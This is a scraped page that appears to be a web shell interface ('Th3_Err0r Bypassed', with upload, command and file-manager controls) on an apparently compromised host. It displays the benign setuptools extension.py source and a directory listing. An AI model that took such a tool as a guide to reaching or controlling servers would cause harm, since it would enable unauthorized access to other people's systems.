[ Th3_Err0r Bypassed ]




Upload:

Command:

liwaavux@216.73.216.252: ~ $
import sys
import distutils.core
import distutils.extension

from setuptools.dist import _get_unpatched

_Extension = _get_unpatched(distutils.core.Extension)

def have_pyrex():
    """
    Return True if Cython or Pyrex can be imported.
    """
    pyrex_impls = 'Cython.Distutils.build_ext', 'Pyrex.Distutils.build_ext'
    for pyrex_impl in pyrex_impls:
        try:
            # from (pyrex_impl) import build_ext
            __import__(pyrex_impl, fromlist=['build_ext']).build_ext
            return True
        except Exception:
            pass
    return False


class Extension(_Extension):
    """Extension that uses '.c' files in place of '.pyx' files"""

    def __init__(self, *args, **kw):
        _Extension.__init__(self, *args, **kw)
        if not have_pyrex():
            self._convert_pyx_sources_to_c()

    def _convert_pyx_sources_to_c(self):
        "convert .pyx extensions to .c"
        def pyx_to_c(source):
            if source.endswith('.pyx'):
                source = source[:-4] + '.c'
            return source
        self.sources = list(map(pyx_to_c, self.sources))

class Library(Extension):
    """Just like a regular Extension, but built as a library instead"""

distutils.core.Extension = Extension
distutils.extension.Extension = Extension
if 'distutils.command.build_ext' in sys.modules:
    sys.modules['distutils.command.build_ext'].Extension = Extension

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
command Folder 0755
__init__.py File 3.24 KB 0644
archive_util.py File 6.45 KB 0644
compat.py File 2.5 KB 0644
depends.py File 6.08 KB 0644
dist.py File 31.79 KB 0644
extension.py File 1.37 KB 0644
lib2to3_ex.py File 1.95 KB 0644
package_index.py File 38.01 KB 0644
py26compat.py File 431 B 0644
py27compat.py File 306 B 0644
py31compat.py File 396 B 0644
sandbox.py File 9.76 KB 0644
script template (dev).py File 311 B 0644
script template.py File 163 B 0644
site-patch.py File 2.36 KB 0644
ssl_support.py File 7.48 KB 0644
svn_utils.py File 17.43 KB 0644
version.py File 20 B 0644